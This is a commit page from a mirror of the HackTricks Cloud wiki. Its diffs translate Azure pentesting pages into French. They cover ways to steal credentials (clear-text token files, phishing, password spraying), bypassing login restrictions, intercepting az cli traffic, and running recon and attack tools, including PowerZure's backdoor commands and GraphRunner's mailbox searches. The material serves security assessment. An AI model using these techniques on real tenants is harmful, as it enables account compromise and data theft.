gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-09 11:44:59 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

Browse Source
This commit is contained in:
Translator
2024-12-31 20:17:59 +00:00
parent 730ef05579
commit 9bd90436f1
245 changed files with 10089 additions and 12816 deletions
Download Patch File Download Diff File Expand all files Collapse all files

132
src/pentesting-cloud/azure-security/README.md
View File

@@ -2,86 +2,85 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
{{#ref}}
az-basic-information/
{{#endref}}
## Azure Pentester/Red Team Methodology
## Méthodologie de Pentester/Red Team Azure
In order to audit an AZURE environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal Azure services and **external services** connected.
Pour auditer un environnement AZURE, il est très important de savoir : quels **services sont utilisés**, ce qui est **exposé**, qui a **accès** à quoi, et comment les services internes Azure et les **services externes** sont connectés.
From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **credentials** for Azure AD. Here you have some ideas on how to do that:
Du point de vue d'une Red Team, la **première étape pour compromettre un environnement Azure** est d'obtenir des **identifiants** pour Azure AD. Voici quelques idées sur comment y parvenir :
- **Leaks** in github (or similar) - OSINT
- **Social** Engineering
- **Password** reuse (password leaks)
- Vulnerabilities in Azure-Hosted Applications
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
- **Local File Read**
- `/home/USERNAME/.azure`
- `C:\Users\USERNAME\.azure`
- The file **`accessTokens.json`** in `az cli` before 2.30 - Jan2022 - stored **access tokens in clear text**
- The file **`azureProfile.json`** contains **info** about logged user.
- **`az logout`** removes the token.
- Older versions of **`Az PowerShell`** stored **access tokens** in **clear** text in **`TokenCache.dat`**. It also stores **ServicePrincipalSecret** in **clear**-text in **`AzureRmContext.json`**. The cmdlet **`Save-AzContext`** can be used to **store** **tokens**.\
Use `Disconnect-AzAccount` to remove them.
- 3rd parties **breached**
- **Internal** Employee
- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or Oauth App)
- [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
- **Fuites** sur github (ou similaire) - OSINT
- **Ingénierie** Sociale
- Réutilisation de **mot de passe** (fuites de mots de passe)
- Vulnérabilités dans les applications hébergées sur Azure
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) avec accès au point de terminaison des métadonnées
- **Lecture de fichiers locaux**
- `/home/NOM_UTILISATEUR/.azure`
- `C:\Users\NOM_UTILISATEUR\.azure`
- Le fichier **`accessTokens.json`** dans `az cli` avant 2.30 - Jan2022 - stockait les **jetons d'accès en texte clair**
- Le fichier **`azureProfile.json`** contient des **informations** sur l'utilisateur connecté.
- **`az logout`** supprime le jeton.
- Les anciennes versions de **`Az PowerShell`** stockaient les **jetons d'accès** en **texte clair** dans **`TokenCache.dat`**. Il stocke également le **ServicePrincipalSecret** en **texte clair** dans **`AzureRmContext.json`**. La cmdlet **`Save-AzContext`** peut être utilisée pour **stocker** des **jetons**.\
Utilisez `Disconnect-AzAccount` pour les supprimer.
- Tiers **violés**
- **Employé** interne
- [**Phishing commun**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (identifiants ou application Oauth)
- [Phishing par code de dispositif](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
- [**Password Spraying** Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
Even if you **haven't compromised any user** inside the Azure tenant you are attacking, you can **gather some information** from it:
Même si vous **n'avez compromis aucun utilisateur** à l'intérieur du locataire Azure que vous attaquez, vous pouvez **rassembler des informations** à partir de celui-ci :
{{#ref}}
az-unauthenticated-enum-and-initial-entry/
{{#endref}}
> [!NOTE]
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
> Après avoir réussi à obtenir des identifiants, vous devez savoir **à qui appartiennent ces identifiants**, et **à quoi ils ont accès**, donc vous devez effectuer une énumération de base :
## Basic Enumeration
## Énumération de base
> [!NOTE]
> Remember that the **noisiest** part of the enumeration is the **login**, not the enumeration itself.
> Rappelez-vous que la partie **la plus bruyante** de l'énumération est le **login**, pas l'énumération elle-même.
### SSRF
If you found a SSRF in a machine inside Azure check this page for tricks:
Si vous avez trouvé un SSRF sur une machine à l'intérieur d'Azure, consultez cette page pour des astuces :
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
{{#endref}}
### Bypass Login Conditions
### Contournement des conditions de connexion
<figure><img src="../../images/image (268).png" alt=""><figcaption></figcaption></figure>
In cases where you have some valid credentials but you cannot login, these are some common protections that could be in place:
Dans les cas où vous avez des identifiants valides mais que vous ne pouvez pas vous connecter, voici quelques protections courantes qui pourraient être en place :
- **IP whitelisting** -- You need to compromise a valid IP
- **Geo restrictions** -- Find where the user lives or where are the offices of the company and get a IP from the same city (or contry at least)
- **Browser** -- Maybe only a browser from certain OS (Windows, Linux, Mac, Android, iOS) is allowed. Find out which OS the victim/company uses.
- You can also try to **compromise Service Principal credentials** as they usually are less limited and its login is less reviewed
- **Liste blanche d'IP** -- Vous devez compromettre une IP valide
- **Restrictions géographiques** -- Trouvez où vit l'utilisateur ou où se trouvent les bureaux de l'entreprise et obtenez une IP de la même ville (ou pays au moins)
- **Navigateur** -- Peut-être qu'un navigateur d'un certain OS (Windows, Linux, Mac, Android, iOS) est autorisé. Découvrez quel OS la victime/l'entreprise utilise.
- Vous pouvez également essayer de **compromettre les identifiants de Service Principal** car ils sont généralement moins limités et leur connexion est moins examinée
After bypassing it, you might be able to get back to your initial setup and you will still have access.
Après avoir contourné cela, vous pourriez être en mesure de revenir à votre configuration initiale et vous aurez toujours accès.
### Subdomain Takeover
### Prise de contrôle de sous-domaine
- [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/)
### Whoami
> [!CAUTION]
> Learn **how to install** az cli, AzureAD and Az PowerShell in the [**Az - Entra ID**](az-services/az-azuread.md) section.
> Apprenez **comment installer** az cli, AzureAD et Az PowerShell dans la section [**Az - Entra ID**](az-services/az-azuread.md).
One of the first things you need to know is **who you are** (in which environment you are):
L'une des premières choses que vous devez savoir est **qui vous êtes** (dans quel environnement vous êtes) :
{{#tabs }}
{{#tab name="az cli" }}
```bash
az account list
az account tenant list # Current tenant info
@@ -90,22 +89,18 @@ az ad signed-in-user show # Current signed-in user
az ad signed-in-user list-owned-objects # Get owned objects by current user
az account management-group list #Not allowed by default
```
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
#Get the current session state
Get-AzureADCurrentSessionInfo
#Get details of the current tenant
Get-AzureADTenantDetail
```
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
# Get the information about the current context (Account, Tenant, Subscription etc.)
Get-AzContext
@@ -121,53 +116,49 @@ Get-AzResource
Get-AzRoleAssignment # For all users
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
```
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
> Oone of the most important commands to enumerate Azure is **`Get-AzResource`** from Az PowerShell as it lets you **know the resources your current user has visibility over**.
> L'une des commandes les plus importantes pour énumérer Azure est **`Get-AzResource`** d'Az PowerShell car elle vous permet de **savoir quels ressources votre utilisateur actuel peut voir**.
>
> You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources"
> Vous pouvez obtenir les mêmes informations dans la **console web** en allant sur [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) ou en recherchant "Toutes les ressources"
### ENtra ID Enumeration
### Énumération de l'ID Entra
By default, any user should have **enough permissions to enumerate** things such us, users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/#default-user-permissions)).\
You can find here a guide:
Par défaut, tout utilisateur devrait avoir **suffisamment de permissions pour énumérer** des éléments tels que, utilisateurs, groupes, rôles, principaux de service... (voir [permissions par défaut d'AzureAD](az-basic-information/#default-user-permissions)).\
Vous pouvez trouver ici un guide :
{{#ref}}
az-services/az-azuread.md
{{#endref}}
> [!NOTE]
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
> In the following section you can check some ways to **enumerate some common services.**
> Maintenant que vous **avez des informations sur vos identifiants** (et si vous êtes une équipe rouge, espérons que vous **n'avez pas été détecté**). Il est temps de déterminer quels services sont utilisés dans l'environnement.\
> Dans la section suivante, vous pouvez vérifier quelques façons d'**énumérer certains services courants.**
## App Service SCM
Kudu console to log in to the App Service 'container'.
Console Kudu pour se connecter au 'conteneur' de l'App Service.
## Webshell
Use portal.azure.com and select the shell, or use shell.azure.com, for a bash or powershell. The 'disk' of this shell are stored as an image file in a storage-account.
Utilisez portal.azure.com et sélectionnez le shell, ou utilisez shell.azure.com, pour un bash ou powershell. Le 'disque' de ce shell est stocké sous forme de fichier image dans un compte de stockage.
## Azure DevOps
Azure DevOps is separate from Azure. It has repositories, pipelines (yaml or release), boards, wiki, and more. Variable Groups are used to store variable values and secrets.
Azure DevOps est séparé d'Azure. Il a des dépôts, des pipelines (yaml ou release), des tableaux, un wiki, et plus encore. Les groupes de variables sont utilisés pour stocker des valeurs de variables et des secrets.
## Debug | MitM az cli
Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending:
En utilisant le paramètre **`--debug`**, il est possible de voir toutes les requêtes que l'outil **`az`** envoie :
```bash
az account management-group list --output table --debug
```
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
Pour effectuer un **MitM** sur l'outil et **vérifier toutes les requêtes** qu'il envoie manuellement, vous pouvez faire :
{{#tabs }}
{{#tab name="Bash" }}
```bash
export ADAL_PYTHON_SSL_NO_VERIFY=1
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
@@ -180,25 +171,21 @@ export HTTP_PROXY="http://127.0.0.1:8080"
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
```
{{#endtab }}
{{#tab name="PS" }}
```bash
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
$env:HTTPS_PROXY="http://127.0.0.1:8080"
$env:HTTP_PROXY="http://127.0.0.1:8080"
```
{{#endtab }}
{{#endtabs }}
## Automated Recon Tools
## Outils de Reconnaissance Automatisés
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
```powershell
cd ROADTools
pipenv shell
@@ -206,9 +193,7 @@ roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
roadrecon gather
roadrecon gui
```
### [Monkey365](https://github.com/silverhack/monkey365)
```powershell
Import-Module monkey365
Get-Help Invoke-Monkey365
@@ -216,9 +201,7 @@ Get-Help Invoke-Monkey365 -Detailed
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
```
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
```powershell
# Start Backend
cd stormspotter\backend\
@@ -236,9 +219,7 @@ az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```powershell
# You need to use the Az PowerShell and Azure AD modules:
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -294,9 +275,7 @@ MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContribu
## All Azure AD Groups that are synchronized with On-Premise AD
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
```
### [Azucar](https://github.com/nccgroup/azucar)
```bash
# You should use an account with at least read-permission on the assets you want to access
git clone https://github.com/nccgroup/azucar.git
@@ -309,17 +288,13 @@ PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials
# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
```
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
```
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
```powershell
Connect-AzAccount
ipmo C:\Path\To\Powerzure.psd1
@@ -340,9 +315,7 @@ $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
# Administrator
$ Create-Backdoor, Execute-Backdoor
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
```powershell
#Get-GraphTokens
@@ -398,9 +371,4 @@ Get-TenantID -Domain
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
{{#include ../../banners/hacktricks-training.md}}

484
src/pentesting-cloud/azure-security/az-basic-information/README.md
View File

@@ -1,376 +1,372 @@
# Az - Basic Information
# Az - Informations de base
{{#include ../../../banners/hacktricks-training.md}}
## Organization Hierarchy
## Hiérarchie de l'organisation
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUcVrh1BpuQXN7RzGqoxrn-4Nm_sjdJU-dDTvshloB7UMQnN1mtH9N94zNiPCzOYAqE9EsJqlboZOj47tQsQktjxszpKvIDPZLs9rgyiObcZCvl7N0ZWztshR0ZddyBYZIAwPIkrEQ=s2048?key=l3Eei079oPmVJuh8lxQYxxrB" alt=""><figcaption><p><a href="https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png">https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png</a></p></figcaption></figure>
### Management Groups
### Groupes de gestion
- It can contain **other management groups or subscriptions**.
- This allows to **apply governance controls** such as RBAC and Azure Policy once at the management group level and have them **inherited** by all the subscriptions in the group.
- **10,000 management** groups can be supported in a single directory.
- A management group tree can support **up to six levels of depth**. This limit doesn’t include the root level or the subscription level.
- Each management group and subscription can support **only one parent**.
- Even if several management groups can be created **there is only 1 root management group**.
- The root management group **contains** all the **other management groups and subscriptions** and **cannot be moved or deleted**.
- All subscriptions within a single management group must trust the **same Entra ID tenant.**
- Il peut contenir **d'autres groupes de gestion ou abonnements**.
- Cela permet d'**appliquer des contrôles de gouvernance** tels que RBAC et Azure Policy une fois au niveau du groupe de gestion et de les **hériter** par tous les abonnements dans le groupe.
- **10 000 groupes de gestion** peuvent être pris en charge dans un seul annuaire.
- Un arbre de groupes de gestion peut supporter **jusqu'à six niveaux de profondeur**. Cette limite n'inclut pas le niveau racine ou le niveau d'abonnement.
- Chaque groupe de gestion et abonnement peut supporter **uniquement un parent**.
- Même si plusieurs groupes de gestion peuvent être créés, **il n'y a qu'un seul groupe de gestion racine**.
- Le groupe de gestion racine **contient** tous les **autres groupes de gestion et abonnements** et **ne peut pas être déplacé ou supprimé**.
- Tous les abonnements au sein d'un seul groupe de gestion doivent faire confiance au **même locataire Entra ID.**
<figure><img src="../../../images/image (147).png" alt=""><figcaption><p><a href="https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png">https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png</a></p></figcaption></figure>
### Azure Subscriptions
### Abonnements Azure
- It’s another **logical container where resources** (VMs, DBs…) can be run and will be billed.
- Its **parent** is always a **management group** (and it can be the root management group) as subscriptions cannot contain other subscriptions.
- It **trust only one Entra ID** directory
- **Permissions** applied at the subscription level (or any of its parents) are **inherited** to all the resources inside the subscription
- C'est un autre **conteneur logique où les ressources** (VM, DB…) peuvent être exécutées et seront facturées.
- Son **parent** est toujours un **groupe de gestion** (et cela peut être le groupe de gestion racine) car les abonnements ne peuvent pas contenir d'autres abonnements.
- Il **fait confiance à un seul annuaire Entra ID**
- Les **permissions** appliquées au niveau de l'abonnement (ou à l'un de ses parents) sont **héritées** par toutes les ressources à l'intérieur de l'abonnement.
### Resource Groups
### Groupes de ressources
[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) A resource group is a **container** that holds **related resources** for an Azure solution. The resource group can include all the resources for the solution, or only those **resources that you want to manage as a group**. Generally, add **resources** that share the **same lifecycle** to the same resource group so you can easily deploy, update, and delete them as a group.
[Des docs :](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Un groupe de ressources est un **conteneur** qui contient des **ressources liées** pour une solution Azure. Le groupe de ressources peut inclure toutes les ressources pour la solution, ou seulement celles **que vous souhaitez gérer en tant que groupe**. En général, ajoutez des **ressources** qui partagent le **même cycle de vie** au même groupe de ressources afin que vous puissiez facilement les déployer, les mettre à jour et les supprimer en tant que groupe.
All the **resources** must be **inside a resource group** and can belong only to a group and if a resource group is deleted, all the resources inside it are also deleted.
Toutes les **ressources** doivent être **dans un groupe de ressources** et ne peuvent appartenir qu'à un seul groupe et si un groupe de ressources est supprimé, toutes les ressources à l'intérieur sont également supprimées.
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfe8U30iP_vdZCvxX4g8nEPRLoo7v0kmCGkDn1frBPn3_GIoZ7VT2LkdsVQWCnrG_HSYNRRPM-1pSECUkbDAB-9YbUYLzpvKVLDETZS81CHWKYM4fDl3oMo5-yvTMnjdLTS2pz8U67xUTIzBhZ25MFMRkq5koKY=s2048?key=gSyKQr3HTyhvHa28Rf7LVA" alt=""><figcaption><p><a href="https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&#x26;ssl=1">https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&#x26;ssl=1</a></p></figcaption></figure>
### Azure Resource IDs
### Identifiants de ressources Azure
Every resource in Azure has an Azure Resource ID that identifies it.
Chaque ressource dans Azure a un identifiant de ressource Azure qui l'identifie.
The format of an Azure Resource ID is as follows:
Le format d'un identifiant de ressource Azure est le suivant :
- `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}`
For a virtual machine named myVM in a resource group `myResourceGroup` under subscription ID `12345678-1234-1234-1234-123456789012`, the Azure Resource ID looks like this:
Pour une machine virtuelle nommée myVM dans un groupe de ressources `myResourceGroup` sous l'ID d'abonnement `12345678-1234-1234-1234-123456789012`, l'identifiant de ressource Azure ressemble à ceci :
- `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM`
## Azure vs Entra ID vs Azure AD Domain Services
## Azure vs Entra ID vs Services de domaine Azure AD
### Azure
Azure is Microsoft’s comprehensive **cloud computing platform, offering a wide range of services**, including virtual machines, databases, artificial intelligence, and storage. It acts as the foundation for hosting and managing applications, building scalable infrastructures, and running modern workloads in the cloud. Azure provides tools for developers and IT professionals to create, deploy, and manage applications and services seamlessly, catering to a variety of needs from startups to large enterprises.
Azure est la **plateforme de cloud computing complète de Microsoft, offrant une large gamme de services**, y compris des machines virtuelles, des bases de données, de l'intelligence artificielle et du stockage. Elle sert de fondation pour héberger et gérer des applications, construire des infrastructures évolutives et exécuter des charges de travail modernes dans le cloud. Azure fournit des outils pour les développeurs et les professionnels de l'informatique afin de créer, déployer et gérer des applications et des services de manière transparente, répondant à une variété de besoins allant des startups aux grandes entreprises.
### Entra ID (formerly Azure Active Directory)
### Entra ID (anciennement Azure Active Directory)
Entra ID is a cloud-based **identity and access management servic**e designed to handle authentication, authorization, and user access control. It powers secure access to Microsoft services such as Office 365, Azure, and many third-party SaaS applications. With features like single sign-on (SSO), multi-factor authentication (MFA), and conditional access policies among others.
Entra ID est un service de **gestion des identités et des accès basé sur le cloud** conçu pour gérer l'authentification, l'autorisation et le contrôle d'accès des utilisateurs. Il permet un accès sécurisé aux services Microsoft tels qu'Office 365, Azure et de nombreuses applications SaaS tierces. Avec des fonctionnalités telles que l'authentification unique (SSO), l'authentification multi-facteurs (MFA) et des politiques d'accès conditionnel, entre autres.
### Entra Domain Services (formerly Azure AD DS)
### Services de domaine Entra (anciennement Azure AD DS)
Entra Domain Services extends the capabilities of Entra ID by offering **managed domain services compatible with traditional Windows Active Directory environments**. It supports legacy protocols such as LDAP, Kerberos, and NTLM, allowing organizations to migrate or run older applications in the cloud without deploying on-premises domain controllers. This service also supports Group Policy for centralized management, making it suitable for scenarios where legacy or AD-based workloads need to coexist with modern cloud environments.
Les services de domaine Entra étendent les capacités d'Entra ID en offrant des **services de domaine gérés compatibles avec les environnements traditionnels de Windows Active Directory**. Il prend en charge des protocoles hérités tels que LDAP, Kerberos et NTLM, permettant aux organisations de migrer ou d'exécuter des applications plus anciennes dans le cloud sans déployer de contrôleurs de domaine sur site. Ce service prend également en charge les stratégies de groupe pour une gestion centralisée, ce qui le rend adapté aux scénarios où des charges de travail héritées ou basées sur AD doivent coexister avec des environnements cloud modernes.
## Entra ID Principals
## Principaux Entra ID
### Users
### Utilisateurs
- **New users**
- Indicate email name and domain from selected tenant
- Indicate Display name
- Indicate password
- Indicate properties (first name, job title, contact info…)
- Default user type is “**member**”
- **External users**
- Indicate email to invite and display name (can be a non Microsft email)
- Indicate properties
- Default user type is “**Guest**”
- **Nouveaux utilisateurs**
- Indiquer le nom et le domaine de l'email du locataire sélectionné
- Indiquer le nom d'affichage
- Indiquer le mot de passe
- Indiquer les propriétés (prénom, titre de poste, informations de contact…)
- Le type d'utilisateur par défaut est “**membre**”
- **Utilisateurs externes**
- Indiquer l'email à inviter et le nom d'affichage (peut être un email non Microsoft)
- Indiquer les propriétés
- Le type d'utilisateur par défaut est “**Invité**”
### Members & Guests Default Permissions
### Permissions par défaut des membres et invités
You can check them in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) but among other actions a member will be able to:
Vous pouvez les consulter sur [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) mais parmi d'autres actions, un membre pourra :
- Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties
- Invite Guests (_can be turned off_)
- Create Security groups
- Read non-hidden Group memberships
- Add guests to Owned groups
- Create new application (_can be turned off_)
- Add up to 50 devices to Azure (_can be turned off_)
- Lire tous les utilisateurs, groupes, applications, appareils, rôles, abonnements et leurs propriétés publiques
- Inviter des invités (_peut être désactivé_)
- Créer des groupes de sécurité
- Lire les adhésions de groupe non cachées
- Ajouter des invités aux groupes possédés
- Créer une nouvelle application (_peut être désactivé_)
- Ajouter jusqu'à 50 appareils à Azure (_peut être désactivé_)
> [!NOTE]
> Remember that to enumerate Azure resources the user needs an explicit grant of the permission.
> N'oubliez pas que pour énumérer les ressources Azure, l'utilisateur a besoin d'une attribution explicite de la permission.
### Users Default Configurable Permissions
### Permissions configurables par défaut des utilisateurs
- **Members (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
- Register Applications: Default **Yes**
- Restrict non-admin users from creating tenants: Default **No**
- Create security groups: Default **Yes**
- Restrict access to Microsoft Entra administration portal: Default **No**
- This doesn’t restrict API access to the portal (only web)
- Allow users to connect work or school account with LinkedIn: Default **Yes**
- Show keep user signed in: Default **Yes**
- Restrict users from recovering the BitLocker key(s) for their owned devices: Default No (check in Device Settings)
- Read other users: Default **Yes** (via Microsoft Graph)
- **Guests**
- **Guest user access restrictions**
- **Guest users have the same access as members** grants all member user permissions to guest users by default.
- **Guest users have limited access to properties and memberships of directory objects (default)** restricts guest access to only their own user profile by default. Access to other users and group information is no longer allowed.
- **Guest user access is restricted to properties and memberships of their own directory objects** is the most restrictive one.
- **Guests can invite**
- **Anyone in the organization can invite guest users including guests and non-admins (most inclusive) - Default**
- **Member users and users assigned to specific admin roles can invite guest users including guests with member permissions**
- **Only users assigned to specific admin roles can invite guest users**
- **No one in the organization can invite guest users including admins (most restrictive)**
- **External user leave**: Default **True**
- Allow external users to leave the organization
- **Membres (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
- Enregistrer des applications : Par défaut **Oui**
- Restreindre les utilisateurs non administrateurs de créer des locataires : Par défaut **Non**
- Créer des groupes de sécurité : Par défaut **Oui**
- Restreindre l'accès au portail d'administration Microsoft Entra : Par défaut **Non**
- Cela ne restreint pas l'accès API au portail (uniquement web)
- Autoriser les utilisateurs à connecter un compte de travail ou scolaire avec LinkedIn : Par défaut **Oui**
- Afficher garder l'utilisateur connecté : Par défaut **Oui**
- Restreindre les utilisateurs de récupérer la ou les clés BitLocker pour leurs appareils possédés : Par défaut Non (vérifiez dans les paramètres de l'appareil)
- Lire d'autres utilisateurs : Par défaut **Oui** (via Microsoft Graph)
- **Invités**
- **Restrictions d'accès des utilisateurs invités**
- **Les utilisateurs invités ont le même accès que les membres** accorde par défaut toutes les permissions des utilisateurs membres aux utilisateurs invités.
- **Les utilisateurs invités ont un accès limité aux propriétés et adhésions des objets d'annuaire (par défaut)** restreint l'accès des invités uniquement à leur propre profil utilisateur par défaut. L'accès aux informations d'autres utilisateurs et groupes n'est plus autorisé.
- **L'accès des utilisateurs invités est restreint aux propriétés et adhésions de leurs propres objets d'annuaire** est la plus restrictive.
- **Les invités peuvent inviter**
- **Quiconque dans l'organisation peut inviter des utilisateurs invités, y compris des invités et des non-administrateurs (le plus inclusif) - Par défaut**
- **Les utilisateurs membres et les utilisateurs assignés à des rôles administratifs spécifiques peuvent inviter des utilisateurs invités, y compris des invités avec des permissions de membre**
- **Seuls les utilisateurs assignés à des rôles administratifs spécifiques peuvent inviter des utilisateurs invités**
- **Personne dans l'organisation ne peut inviter des utilisateurs invités, y compris des administrateurs (le plus restrictif)**
- **Les utilisateurs externes peuvent partir** : Par défaut **Vrai**
- Autoriser les utilisateurs externes à quitter l'organisation
> [!TIP]
> Even if restricted by default, users (members and guests) with granted permissions could perform the previous actions.
> Même s'ils sont restreints par défaut, les utilisateurs (membres et invités) avec des permissions accordées pourraient effectuer les actions précédentes.
### **Groups**
### **Groupes**
There are **2 types of groups**:
Il existe **2 types de groupes** :
- **Security**: This type of group is used to give members access to aplications, resources and assign licenses. Users, devices, service principals and other groups an be members.
- **Microsoft 365**: This type of group is used for collaboration, giving members access to a shared mailbox, calendar, files, SharePoint site, and so on. Group members can only be users.
- This will have an **email address** with the domain of the EntraID tenant.
- **Sécurité** : Ce type de groupe est utilisé pour donner aux membres accès aux applications, ressources et attribuer des licences. Les utilisateurs, appareils, principaux de service et autres groupes peuvent être membres.
- **Microsoft 365** : Ce type de groupe est utilisé pour la collaboration, donnant aux membres accès à une boîte aux lettres partagée, un calendrier, des fichiers, un site SharePoint, etc. Les membres du groupe ne peuvent être que des utilisateurs.
- Cela aura une **adresse email** avec le domaine du locataire EntraID.
There are **2 types of memberships**:
Il existe **2 types d'adhésions** :
- **Assigned**: Allow to manually add specific members to a group.
- **Dynamic membership**: Automatically manages membership using rules, updating group inclusion when members attributes change.
- **Assigné** : Permet d'ajouter manuellement des membres spécifiques à un groupe.
- **Adhésion dynamique** : Gère automatiquement l'adhésion en utilisant des règles, mettant à jour l'inclusion du groupe lorsque les attributs des membres changent.
### **Service Principals**
### **Principaux de service**
A **Service Principal** is an **identity** created for **use** with **applications**, hosted services, and automated tools to access Azure resources. This access is **restricted by the roles assigned** to the service principal, giving you control over **which resources can be accessed** and at which level. For security reasons, it's always recommended to **use service principals with automated tools** rather than allowing them to log in with a user identity.
Un **Principal de service** est une **identité** créée pour **utiliser** avec des **applications**, des services hébergés et des outils automatisés pour accéder aux ressources Azure. Cet accès est **restreint par les rôles assignés** au principal de service, vous donnant le contrôle sur **quelles ressources peuvent être accessibles** et à quel niveau. Pour des raisons de sécurité, il est toujours recommandé d'**utiliser des principaux de service avec des outils automatisés** plutôt que de leur permettre de se connecter avec une identité utilisateur.
It's possible to **directly login as a service principal** by generating it a **secret** (password), a **certificate**, or granting **federated** access to third party platforms (e.g. Github Actions) over it.
Il est possible de **se connecter directement en tant que principal de service** en lui générant un **secret** (mot de passe), un **certificat**, ou en accordant un accès **fédéré** à des plateformes tierces (par exemple, Github Actions) à son sujet.
- If you choose **password** auth (by default), **save the password generated** as you won't be able to access it again.
- If you choose certificate authentication, make sure the **application will have access over the private key**.
- Si vous choisissez l'authentification par **mot de passe** (par défaut), **enregistrez le mot de passe généré** car vous ne pourrez plus y accéder.
- Si vous choisissez l'authentification par certificat, assurez-vous que l'**application aura accès à la clé privée**.
### App Registrations
### Enregistrements d'applications
An **App Registration** is a configuration that allows an application to integrate with Entra ID and to perform actions.
